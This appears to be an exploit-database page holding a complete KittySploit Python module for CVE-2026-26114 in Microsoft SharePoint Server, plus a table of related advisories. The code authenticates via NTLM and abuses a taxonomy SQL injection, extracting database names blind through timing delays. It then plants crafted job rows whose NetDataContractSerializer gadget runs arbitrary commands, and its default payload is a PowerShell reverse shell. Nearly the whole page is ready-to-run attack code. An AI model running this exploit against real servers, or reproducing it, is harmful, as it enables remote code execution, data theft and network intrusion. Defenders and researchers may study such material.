SharePoint Taxonomy SQLi -> AppLifecycle NDCS RCE (CVE-2026-26114)
| Reporter | Title | Published | Views | Family All 27 |
|---|---|---|---|---|
| Exploit for Deserialization of Untrusted Data in Microsoft | 3 Jul 202614:46 | – | githubexploit | |
| CVE-2026-26114 | 10 Mar 202617:05 | – | attackerkb | |
| March Microsoft Patch Tuesday | 11 Mar 202619:20 | – | avleonov | |
| Microsoft SharePoint Server Deserialization RCE | 11 Mar 202600:00 | – | bdu_fstec | |
| CVE-2026-26114 | 10 Mar 202616:57 | – | circl | |
| Microsoft SharePoint 代码问题漏洞 | 10 Mar 202600:00 | – | cnnvd | |
| Microsoft SharePoint Server Remote Code Execution Vulnerability (CNVD-2026-16162) | 16 Mar 202600:00 | – | cnvd | |
| CVE-2026-26114 | 10 Mar 202617:05 | – | cve | |
| CVE-2026-26114 Microsoft SharePoint Server Remote Code Execution Vulnerability | 10 Mar 202617:05 | – | cvelist | |
| EUVD-2026-10681 | 10 Mar 202618:31 | – | euvd |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import binascii
import time
import uuid
from typing import Any, Dict, List, Optional, Tuple
from urllib.parse import urljoin
from xml.sax.saxutils import escape as xml_escape
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Exploit, Http_client):
TAXONOMY_SESSION_TYPEID = "{981cbc68-9edc-4f8d-872f-71146fcbb84f}"
DEFAULT_TASK_TYPE = (
"Microsoft.SharePoint.Lifecycle.FinalFixupTask, Microsoft.SharePoint, "
"Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c"
)
HEADER_JSON = {"Accept": "application/json;odata=verbose"}
__info__ = {
"name": "SharePoint Taxonomy SQLi -> AppLifecycle NDCS RCE (CVE-2026-26114)",
"description": (
"CVE-2026-26114 full-chain authenticated exploit for Microsoft SharePoint Server. "
"Abuses a Taxonomy CSOM CustomSortOrder SQL injection to insert AppInstallations, "
"AppJobs and AppTasks rows, then triggers OWSTIMER to deserialize a "
"TypeConfuseDelegate NetDataContractSerializer gadget for remote code execution. "
"Requires NTLM credentials with taxonomy write access. Auto-discovers SiteId, WebId, "
"JobCreatorId, TermStore/Group, and Content DB (blind SQLi when not supplied)."
),
"author": ["huynambka", "KittySploit Team"],
"cve": ["CVE-2026-26114"],
"arch": [Arch.X86, Arch.X64],
"platform": Platform.WINDOWS,
"references": [],
"tags": [
"sharepoint",
"ntlm",
"sqli",
"ndcs",
"deserialization",
"rce",
"authenticated",
"cve-2026-26114",
],
"dependencies": ["requests-ntlm"],
"payload": {
"default": "payloads/singles/cmd/windows/powershell_reverse_tcp",
"platform": Platform.WINDOWS,
"category": PayloadCategory.SINGLE,
},
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 20,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
'post/shell/multi/manage/pivot_autoroute']},
},
}
port = OptPort(443, "SharePoint HTTPS port", required=True)
ssl = OptBool(True, "Use HTTPS", required=True)
domain = OptString("", "AD domain (optional if DOMAIN\\user is in username)", required=False)
username = OptString("", "SharePoint username (DOMAIN\\user or user@domain)", required=True)
password = OptString("", "Account password", required=True)
command = OptString("", "Command to execute instead of the selected payload", required=False)
marker_file = OptString(
"",
"Writable path on target for whoami self-check (cmd /c whoami > path) when no command",
required=False,
)
content_db = OptString(
"",
"SharePoint content database name (empty = auto-discover via blind SQLi)",
required=False,
)
content_db_prefer = OptString(
"SharePoint_Content_sp01",
"Preferred content DB name tried before blind enumeration",
required=False,
advanced=True,
)
task_type = OptString(DEFAULT_TASK_TYPE, "AppTasks TaskType assembly name", required=False, advanced=True)
no_confirm = OptBool(False, "Skip OWSTIMER pull confirmation via blind SQLi", required=False, advanced=True)
poll = OptInteger(30, "Max OWSTIMER pull poll iterations", required=False, advanced=True)
interval = OptInteger(5, "Seconds between pull polls", required=False, advanced=True)
def _endpoint(self, *segs: str) -> str:
return urljoin(self._base_url().rstrip("/") + "/", "/".join(segs))
def _api_get_json(self, *segs: str, **params: str) -> Dict[str, Any]:
r = self.session.get(
self._endpoint(*segs), headers=self.HEADER_JSON, params=params or None, timeout=30
)
if r.status_code == 401:
raise RuntimeError(f"auth failed (401) on {'/'.join(segs)}")
r.raise_for_status()
return r.json()
def _contextinfo(self) -> str:
r = self.session.post(
self._endpoint("_api", "contextinfo"),
headers={**self.HEADER_JSON, "Content-Type": "application/json;odata=verbose"},
data=b"",
timeout=30,
)
if r.status_code == 401:
raise RuntimeError("auth failed (401) on contextinfo")
r.raise_for_status()
return r.json()["d"]["GetContextWebInformation"]["FormDigestValue"]
def _process_query(self, digest: str, xml: str, timeout: int = 240):
start = time.perf_counter()
r = self.session.post(
self._endpoint("_vti_bin", "client.svc", "ProcessQuery"),
headers={"X-RequestDigest": digest, "Content-Type": "text/xml"},
data=xml.encode("utf-8"),
timeout=timeout,
)
return r, time.perf_counter() - start
def _pq_error(self, r) -> Optional[Dict[str, Any]]:
try:
for it in r.json():
err = it.get("ErrorInfo") if isinstance(it, dict) else None
if err:
return err
except Exception:
return None
return None
def _pq_guid(self, raw: Any) -> str:
s = str(raw)
if s.startswith("/Guid(") and s.endswith(")/"):
return s[6:-2]
return s.strip("{}")
def _xml_guid(self, p: str) -> str:
return xml_escape(p)
def _csom_create_termset(self, store_id: str, group_id: str, name: str, termset_id: str = None) -> str:
termset_id = termset_id or str(uuid.uuid4())
return f"""<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="cve202626114">
<Actions>
<ObjectPath Id="10" ObjectPathId="6" />
<ObjectIdentityQuery Id="11" ObjectPathId="6" />
<Method Id="12" ObjectPathId="3" Name="CommitAll" />
</Actions>
<ObjectPaths>
<StaticMethod Id="1" Name="GetTaxonomySession" TypeId="{self.TAXONOMY_SESSION_TYPEID}" />
<Property Id="2" ParentId="1" Name="TermStores" />
<Method Id="3" ParentId="2" Name="GetById"><Parameters><Parameter Type="Guid">{self._xml_guid(store_id)}</Parameter></Parameters></Method>
<Property Id="4" ParentId="3" Name="Groups" />
<Method Id="5" ParentId="4" Name="GetById"><Parameters><Parameter Type="Guid">{self._xml_guid(group_id)}</Parameter></Parameters></Method>
<Method Id="6" ParentId="5" Name="CreateTermSet"><Parameters>
<Parameter Type="String">{xml_escape(name)}</Parameter>
<Parameter Type="Guid">{{{self._xml_guid(termset_id)}}}</Parameter>
<Parameter Type="Int32">1033</Parameter>
</Parameters></Method>
</ObjectPaths>
</Request>"""
def _csom_create_term(self, store_id: str, termset_id: str, name: str, term_id: str = None) -> str:
term_id = term_id or str(uuid.uuid4())
return f"""<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="cve202626114">
<Actions>
<ObjectPath Id="10" ObjectPathId="4" />
<ObjectPath Id="11" ObjectPathId="5" />
<ObjectIdentityQuery Id="12" ObjectPathId="5" />
<Method Id="13" ObjectPathId="3" Name="CommitAll" />
</Actions>
<ObjectPaths>
<StaticMethod Id="1" Name="GetTaxonomySession" TypeId="{self.TAXONOMY_SESSION_TYPEID}" />
<Property Id="2" ParentId="1" Name="TermStores" />
<Method Id="3" ParentId="2" Name="GetById"><Parameters><Parameter Type="Guid">{self._xml_guid(store_id)}</Parameter></Parameters></Method>
<Method Id="4" ParentId="3" Name="GetTermSet"><Parameters><Parameter Type="Guid">{self._xml_guid(termset_id)}</Parameter></Parameters></Method>
<Method Id="5" ParentId="4" Name="CreateTerm"><Parameters>
<Parameter Type="String">{xml_escape(name)}</Parameter>
<Parameter Type="Int32">1033</Parameter>
<Parameter Type="Guid">{{{self._xml_guid(term_id)}}}</Parameter>
</Parameters></Method>
</ObjectPaths>
</Request>"""
def _csom_move_sqli(
self, store_id: str, src_termset: str, term: str, dst_termset: str, custom_sort_order: str
) -> str:
return f"""<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="cve202626114">
<Actions>
<ObjectPath Id="10" ObjectPathId="3" />
<ObjectPath Id="11" ObjectPathId="4" />
<ObjectPath Id="12" ObjectPathId="5" />
<SetProperty Id="13" ObjectPathId="4" Name="CustomSortOrder"><Parameter Type="String">{xml_escape(custom_sort_order)}</Parameter></SetProperty>
<Method Id="14" ObjectPathId="4" Name="Move"><Parameters><Parameter ObjectPathId="5" /></Parameters></Method>
<Method Id="15" ObjectPathId="3" Name="CommitAll" />
</Actions>
<ObjectPaths>
<StaticMethod Id="1" Name="GetTaxonomySession" TypeId="{self.TAXONOMY_SESSION_TYPEID}" />
<Property Id="2" ParentId="1" Name="TermStores" />
<Method Id="3" ParentId="2" Name="GetById"><Parameters><Parameter Type="Guid">{self._xml_guid(store_id)}</Parameter></Parameters></Method>
<Method Id="4" ParentId="3" Name="GetTermInTermSet"><Parameters>
<Parameter Type="Guid">{self._xml_guid(src_termset)}</Parameter>
<Parameter Type="Guid">{self._xml_guid(term)}</Parameter>
</Parameters></Method>
<Method Id="5" ParentId="3" Name="GetTermSet"><Parameters><Parameter Type="Guid">{self._xml_guid(dst_termset)}</Parameter></Parameters></Method>
</ObjectPaths>
</Request>"""
def _discover_site(self) -> Tuple[str, str]:
site_id = self._api_get_json("_api", "site", **{"$select": "Id"})["d"]["Id"]
web_id = self._api_get_json("_api", "web", **{"$select": "Id"})["d"]["Id"]
return site_id, web_id
def _discover_user(self) -> int:
return int(self._api_get_json("_api", "web", "currentuser")["d"]["Id"])
def _group_writable(self, digest: str, store_id: str, group_id: str) -> bool:
xml = self._csom_create_termset(store_id, group_id, "Tst" + uuid.uuid4().hex[:6])
r, _ = self._process_query(digest, xml)
return r.status_code == 200 and not self._pq_error(r)
def _discover_taxonomy(self, digest: str) -> Tuple[str, str, str, str]:
xml_stores = f"""<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="cve202626114">
<Actions><ObjectPath Id="10" ObjectPathId="2" /><Query Id="11" ObjectPathId="2"><Query SelectAllProperties="false"><Properties /></Query>
<ChildItemQuery SelectAllProperties="false"><Properties><Property Name="Id" ScalarProperty="true" /><Property Name="Name" ScalarProperty="true" /></Properties></ChildItemQuery></Query></Actions>
<ObjectPaths><StaticMethod Id="1" Name="GetTaxonomySession" TypeId="{self.TAXONOMY_SESSION_TYPEID}" /><Property Id="2" ParentId="1" Name="TermStores" /></ObjectPaths></Request>"""
r, _ = self._process_query(digest, xml_stores)
err = self._pq_error(r)
if err:
raise RuntimeError(f"term store enum error: {err.get('ErrorMessage')}")
stores: List[Dict[str, str]] = []
for it in r.json():
if isinstance(it, dict) and it.get("_ObjectType_") == "SP.Taxonomy.TermStoreCollection":
for st in it.get("_Child_Items_", []):
stores.append({"id": self._pq_guid(st["Id"]), "name": st["Name"]})
if not stores:
raise RuntimeError("no term store visible")
for st in stores:
xml_g = f"""<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="cve202626114">
<Actions><ObjectPath Id="10" ObjectPathId="4" /><Query Id="11" ObjectPathId="4"><Query SelectAllProperties="false"><Properties /></Query>
<ChildItemQuery SelectAllProperties="false"><Properties><Property Name="Id" ScalarProperty="true" /><Property Name="Name" ScalarProperty="true" /></Properties></ChildItemQuery></Query></Actions>
<ObjectPaths><StaticMethod Id="1" Name="GetTaxonomySession" TypeId="{self.TAXONOMY_SESSION_TYPEID}" /><Property Id="2" ParentId="1" Name="TermStores" />
<Method Id="3" ParentId="2" Name="GetById"><Parameters><Parameter Type="Guid">{{{self._xml_guid(st['id'])}}}</Parameter></Parameters></Method><Property Id="4" ParentId="3" Name="Groups" /></ObjectPaths></Request>"""
rg, _ = self._process_query(digest, xml_g)
if self._pq_error(rg):
continue
for it in rg.json():
if isinstance(it, dict) and it.get("_ObjectType_") == "SP.Taxonomy.TermGroupCollection":
for gr in it.get("_Child_Items_", []):
gid, gname = self._pq_guid(gr["Id"]), gr["Name"]
if gname.lower() == "system":
continue
if self._group_writable(digest, st["id"], gid):
return st["id"], st["name"], gid, gname
raise RuntimeError("no writable taxonomy group found")
def _inject(self, digest: str, store_id: str, group_id: str, sql_batch: str, timeout: int = 300):
src = str(uuid.uuid4())
dst = str(uuid.uuid4())
term = str(uuid.uuid4())
for tsid, nm in [
(src, "Src" + uuid.uuid4().hex[:12]),
(dst, "Dst" + uuid.uuid4().hex[:12]),
]:
rx, _ = self._process_query(digest, self._csom_create_termset(store_id, group_id, nm, tsid))
if self._pq_error(rx):
raise RuntimeError(f"CreateTermSet failed: {self._pq_error(rx)['ErrorMessage']}")
rt, _ = self._process_query(
digest, self._csom_create_term(store_id, src, "T" + uuid.uuid4().hex[:12], term)
)
if self._pq_error(rt):
raise RuntimeError(f"CreateTerm failed: {self._pq_error(rt)['ErrorMessage']}")
payload = f"x'; {sql_batch} -- "
return self._process_query(
digest, self._csom_move_sqli(store_id, src, term, dst, payload), timeout
)
def _blind_true(self, digest: str, store_id: str, group_id: str, cond: str, wait: int = 5) -> bool:
r, elapsed = self._inject(
digest,
store_id,
group_id,
f"IF ({cond}) WAITFOR DELAY '00:00:{wait:02d}'",
timeout=max(wait + 30, 60),
)
return elapsed >= max(wait - 1, 3)
def _blind_int(self, digest: str, store_id: str, group_id: str, expr: str, lo: int, hi: int) -> int:
while lo < hi:
mid = (lo + hi) // 2
if self._blind_true(digest, store_id, group_id, f"{expr} > {mid}"):
lo = mid + 1
else:
hi = mid
return lo
def _blind_string(
self,
digest: str,
store_id: str,
group_id: str,
query: str,
max_len: int = 128,
) -> str:
expr = f"COALESCE(CONVERT(nvarchar(4000),({query})),'')"
n = self._blind_int(digest, store_id, group_id, f"LEN({expr})", 0, max_len)
out = ""
for i in range(1, n + 1):
c = self._blind_int(
digest,
store_id,
group_id,
f"ASCII(SUBSTRING({expr},{i},1))",
1,
126,
)
out += chr(c)
self._db_progress(out)
return out
def _db_ref(self, name: str) -> str:
return f"[{name.replace(']', ']]')}]"
def _content_db_condition(self, db_name: str, site_id: str) -> str:
db = self._db_ref(db_name)
db_name_sql = db_name.replace("'", "''")
return (
f"DB_ID('{db_name_sql}') IS NOT NULL AND "
f"EXISTS(SELECT 1 FROM {db}.sys.tables WHERE name='AppTasks') AND "
f"EXISTS(SELECT 1 FROM {db}.sys.tables WHERE name='Sites') AND "
f"EXISTS(SELECT 1 FROM {db}.dbo.Sites WHERE Id='{site_id}')"
)
def _enumerate_accessible_dbs(
self,
digest: str,
store_id: str,
group_id: str,
max_dbs: int = 64,
max_name_len: int = 128,
) -> List[str]:
count = self._blind_int(
digest,
store_id,
group_id,
"(SELECT COUNT(*) FROM sys.databases "
"WHERE database_id > 4 AND state = 0 AND HAS_DBACCESS(name) = 1)",
0,
max_dbs,
)
names: List[str] = []
for idx in range(1, count + 1):
q = (
"SELECT name FROM ("
"SELECT ROW_NUMBER() OVER (ORDER BY database_id) AS rn, name "
"FROM sys.databases "
"WHERE database_id > 4 AND state = 0 AND HAS_DBACCESS(name) = 1"
f") d WHERE rn = {idx}"
)
name = self._blind_string(digest, store_id, group_id, q, max_len=max_name_len)
if name:
names.append(name)
return names
def _enumerate_matching_dbs(
self,
digest: str,
store_id: str,
group_id: str,
where_sql: str,
max_dbs: int = 64,
max_name_len: int = 128,
) -> List[str]:
count = self._blind_int(
digest,
store_id,
group_id,
"(SELECT COUNT(*) FROM sys.databases "
"WHERE database_id > 4 AND state = 0 AND HAS_DBACCESS(name) = 1 "
f"AND ({where_sql}))",
0,
max_dbs,
)
names: List[str] = []
for idx in range(1, count + 1):
q = (
"SELECT name FROM ("
"SELECT ROW_NUMBER() OVER (ORDER BY name) AS rn, name "
"FROM sys.databases "
"WHERE database_id > 4 AND state = 0 AND HAS_DBACCESS(name) = 1 "
f"AND ({where_sql})"
f") d WHERE rn = {idx}"
)
name = self._blind_string(digest, store_id, group_id, q, max_len=max_name_len)
if name:
names.append(name)
return names
def _discover_content_db(
self,
digest: str,
store_id: str,
group_id: str,
site_id: str,
prefer: str = "SharePoint_Content_sp01",
) -> str:
if prefer and self._blind_true(
digest, store_id, group_id, self._content_db_condition(prefer, site_id)
):
return prefer
for content_named_db in self._enumerate_matching_dbs(
digest, store_id, group_id, "name LIKE '%Content%'"
):
if self._blind_true(
digest,
store_id,
group_id,
self._content_db_condition(content_named_db, site_id),
wait=4,
):
return content_named_db
for db_name in self._enumerate_accessible_dbs(digest, store_id, group_id):
if self._blind_true(
digest,
store_id,
group_id,
self._content_db_condition(db_name, site_id),
wait=4,
):
return db_name
raise RuntimeError("could not discover content DB containing AppTasks + current SiteId")
def _ndcs_payload(self, command: str) -> bytes:
first = command.find(" ")
file_name = command[:first] if first >= 0 else command
arguments = command[first + 1 :] if first >= 0 else ""
def node(idx: int, val: str) -> str:
ns = 'xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays"'
if not val:
return f'<string z:Id="{idx}" {ns}/>'
return f'<string z:Id="{idx}" {ns}>{xml_escape(val)}</string>'
a, b = sorted([file_name, arguments])
xml = (
'<ArrayOfstring z:Id="1" z:Type="System.Collections.Generic.SortedSet`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/">'
'<Count z:Id="2" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Count>'
'<Comparer z:Id="3" z:Type="System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="0" xmlns="">'
'<_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0" xmlns="http://schemas.datacontract.org/2004/07/System.Collections.Generic" xmlns:a="http://schemas.datacontract.org/2004/07/System">'
'<Delegate z:Id="5" z:Type="System.DelegateSerializationHolder+DelegateEntry" z:Assembly="0" xmlns="">'
'<a:assembly z:Id="6">mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly>'
'<a:delegateEntry z:Id="7"><a:assembly z:Ref="6" i:nil="true"/><a:delegateEntry i:nil="true"/>'
'<a:methodName z:Id="8">Compare</a:methodName><a:target i:nil="true"/>'
'<a:targetTypeAssembly z:Ref="6" i:nil="true"/><a:targetTypeName z:Id="9">System.String</a:targetTypeName>'
'<a:type z:Id="10">System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></a:delegateEntry>'
'<a:methodName z:Id="11">Start</a:methodName><a:target i:nil="true"/>'
'<a:targetTypeAssembly z:Id="12">System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:targetTypeAssembly>'
'<a:targetTypeName z:Id="13">System.Diagnostics.Process</a:targetTypeName>'
'<a:type z:Id="14">System.Func`3[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type></Delegate>'
'<method0 z:Id="15" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection">'
'<Name z:Ref="11" i:nil="true"/><AssemblyName z:Ref="12" i:nil="true"/><ClassName z:Ref="13" i:nil="true"/>'
'<Signature z:Id="16" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature>'
'<Signature2 z:Id="17" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature2>'
'<MemberType z:Id="18" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method0>'
'<method1 z:Id="19" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0" xmlns="" xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection">'
'<Name z:Ref="8" i:nil="true"/><AssemblyName z:Ref="6" i:nil="true"/><ClassName z:Ref="9" i:nil="true"/>'
'<Signature z:Id="20" z:Type="System.String" z:Assembly="0">Int32 Compare(System.String, System.String)</Signature>'
'<Signature2 z:Id="21" z:Type="System.String" z:Assembly="0">System.Int32 Compare(System.String, System.String)</Signature2>'
'<MemberType z:Id="22" z:Type="System.Int32" z:Assembly="0">8</MemberType><GenericArguments i:nil="true"/></method1>'
"</_comparison></Comparer>"
'<Version z:Id="23" z:Type="System.Int32" z:Assembly="0" xmlns="">2</Version>'
'<Items z:Id="24" z:Type="System.String[]" z:Assembly="0" z:Size="2" xmlns="">'
f"{node(25, a)}{node(26, b)}</Items></ArrayOfstring>"
)
return xml.encode("utf-8")
def _build_insert_sql(
self,
taskdata_hex: str,
site_id: str,
web_id: str,
creator_id: int,
task_type: str,
content_db: str,
job_id: str = None,
task_id: str = None,
) -> str:
job_id = job_id or str(uuid.uuid4())
task_id = task_id or str(uuid.uuid4())
db = content_db.replace("]", "]]")
return f"""USE [{db}];
DECLARE @SiteId uniqueidentifier = '{site_id}';
DECLARE @JobId uniqueidentifier = '{job_id}';
DECLARE @TaskId uniqueidentifier = '{task_id}';
DECLARE @InstId uniqueidentifier = NEWID();
INSERT INTO dbo.AppInstallations (Id,Status,InError,SourceInfoId,WebId,CreationTime,SiteSubscriptionId,LastJobOperation,WasLastJobCancelled,WasLastJobManuallyCancelled,IsIconHosted,CreatorId,DisableAuthority,InstallationLocale,SiteId)
VALUES (@InstId,5,0,NEWID(),'{web_id}',GETUTCDATE(),'00000000-0000-0000-0000-000000000000',0,0,0,0,{creator_id},0,1033,@SiteId); WHILE @@TRANCOUNT>0 COMMIT;
INSERT INTO dbo.AppJobs (Id,InstallationId,Operation,IsCancelled,IsManuallyCancelled,IsCommitted,CreationTime,JobCreatorId,SiteId)
VALUES (@JobId,@InstId,1,0,0,1,GETUTCDATE(),{creator_id},@SiteId); WHILE @@TRANCOUNT>0 COMMIT;
INSERT INTO dbo.AppTasks (JobId,TaskId,TaskType,TaskData,PulledTime,FinishedTime,Retries,TaskCloneId,EstimatedDurationMinutes,RegisteredTime,TimeoutTime,IsRollback,TaskOperation,CancelledWhileInProgress,LastPullerHostName,IsolationKey,SiteId)
VALUES (@JobId,@TaskId,'{task_type}',0x{taskdata_hex},NULL,NULL,0,NULL,1,GETUTCDATE(),NULL,0,1,0,NULL,NEWID(),@SiteId); WHILE @@TRANCOUNT>0 COMMIT;
WAITFOR DELAY '00:00:03';"""
def _poll_task_pulled(
self,
digest: str,
store_id: str,
group_id: str,
content_db: str,
task_id: str,
poll_count: int = 30,
interval: int = 5,
wait: int = 5,
) -> bool:
db = content_db.replace("]", "]]")
cond = (
f"EXISTS(SELECT 1 FROM [{db}].dbo.AppTasks WHERE TaskId='{task_id}' "
"AND PulledTime IS NOT NULL)"
)
for _ in range(poll_count):
if self._blind_true(digest, store_id, group_id, cond, wait=wait):
return True
time.sleep(interval)
return False
def _principal(self) -> str:
dom = str(self.domain or "").strip()
user = str(self.username or "").strip()
if not user:
return ""
if "@" in user and not dom:
user, dom = user.split("@", 1)
elif "\\" in user:
dom, user = user.split("\\", 1)
return f"{dom}\\{user}" if dom else user
def _base_url(self) -> str:
target = str(self.target or "").strip()
if not target:
raise ValueError("target is required")
port = int(self.port or 443)
ssl = self._to_bool(self.ssl)
protocol = "https" if ssl or port == 443 else "http"
base_path = str(self.path or "/").strip()
if not base_path.startswith("/"):
base_path = "/" + base_path
base_path = base_path.rstrip("/")
return f"{protocol}://{target}:{port}{base_path}"
def _verify_ssl(self) -> bool:
return self._to_bool(self.verify_ssl)
def _ntlm_auth(self):
try:
from requests_ntlm import HttpNtlmAuth
except ImportError as exc:
raise ImportError(
"requests-ntlm is required for SharePoint NTLM authentication "
"(pip install requests-ntlm)"
) from exc
return HttpNtlmAuth(self._principal(), str(self.password or ""))
def _configure_ntlm_session(self):
self._configure_session()
self.session.auth = self._ntlm_auth()
self.session.verify = self._verify_ssl()
def _normalize_command(self) -> str:
if self.command:
return str(self.command)
payload = self.payload
if isinstance(payload, bytes):
return payload.decode("utf-8", errors="ignore")
return str(payload or "")
def _resolve_command(self) -> str:
command = self._normalize_command()
if command:
return command
marker = str(self.marker_file or "").strip()
if marker:
return f"cmd /c whoami > {marker}"
return ""
def _exploit(self):
if self.command or self.marker_file:
return bool(self.run())
return super()._exploit()
def _db_progress(self, partial: str):
print_status(f"content_db extract: {partial}")
def check(self):
try:
self._configure_ntlm_session()
digest = self._contextinfo()
site_id, web_id = self._discover_site()
return {
"vulnerable": True,
"reason": (
f"SharePoint REST API reachable with NTLM auth "
f"(SiteId={site_id}, WebId={web_id}, digest obtained)"
),
"confidence": "medium",
}
except Exception as e:
return {"vulnerable": False, "reason": f"Check failed: {e}", "confidence": "low"}
def run(self):
try:
print_status("SharePoint CVE-2026-26114 Taxonomy SQLi -> NDCS RCE")
print_info(f"Target: {self._base_url()}")
command = self._resolve_command()
if not command:
print_error("Provide command (payload) or marker_file for self-verification")
return False
self._configure_ntlm_session()
login = self._principal()
print_success(f"NTLM auth configured for {login}")
digest = self._contextinfo()
print_success(f"Form digest: {digest[:24]}...")
site_id, web_id = self._discover_site()
creator_id = self._discover_user()
print_success(f"SiteId={site_id} WebId={web_id} JobCreatorId={creator_id}")
store_id, store_name, group_id, group_name = self._discover_taxonomy(digest)
print_success(
f"Writable taxonomy group: {group_name} ({group_id}) in store {store_name}"
)
manual_db = str(self.content_db or "").strip()
if manual_db:
db_name = manual_db
print_info(f"Using supplied content_db: {db_name}")
else:
prefer = str(self.content_db_prefer or "SharePoint_Content_sp01").strip()
print_status(f"Discovering content database (prefer={prefer})...")
db_name = self._discover_content_db(digest, store_id, group_id, site_id, prefer=prefer)
print_success(f"content_db: {db_name}")
taskdata = self._ndcs_payload(command)
print_success(f"NDCS TaskData: {len(taskdata)} bytes for: {command}")
job_id = str(uuid.uuid4())
task_id = str(uuid.uuid4())
sql = self._build_insert_sql(
binascii.hexlify(taskdata).decode(),
site_id,
web_id,
creator_id,
str(self.task_type or self.DEFAULT_TASK_TYPE),
db_name,
job_id,
task_id,
)
print_status("Injecting AppInstallations+AppJobs+AppTasks via taxonomy SQLi...")
r, elapsed = self._inject(digest, store_id, group_id, sql)
err = self._pq_error(r)
batch_ran = r.status_code == 200 and elapsed >= 3.0
print_success(
f"Inject HTTP {r.status_code} {elapsed:.2f}s "
f"({'BATCH RAN' if batch_ran else 'FAILED'})"
)
if err:
print_warning(
f"CSOM ErrorInfo (harmless if batch ran): {err.get('ErrorMessage')}"
)
print_info(f"TaskId={task_id} JobId={job_id}")
if not self._to_bool(self.no_confirm):
poll_count = max(1, int(self.poll or 30))
poll_interval = max(1, int(self.interval or 5))
print_status(
f"Polling OWSTIMER pull (up to {poll_count * poll_interval}s)..."
)
pulled = self._poll_task_pulled(
digest,
store_id,
group_id,
db_name,
task_id,
poll_count=poll_count,
interval=poll_interval,
)
if pulled:
print_success("OWSTIMER pulled the task")
else:
print_warning(
"Did not confirm PulledTime (payload may still have run; "
"verify side effect or listener)"
)
if self.marker_file:
print_info(f"Marker file on target: {self.marker_file}")
print_info(
"Retrieve via SMB/HTTP/share to confirm whoami output."
)
if batch_ran:
self.vulnerable()
return True
self.not_vulnerable()
return False
except Exception as e:
print_error(f"Exploitation failed: {e}")
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Jul 2026 11:31Current
8.4High risk
Vulners AI Score8.4
CVSS 3.18.8
EPSS0.02547
SSVC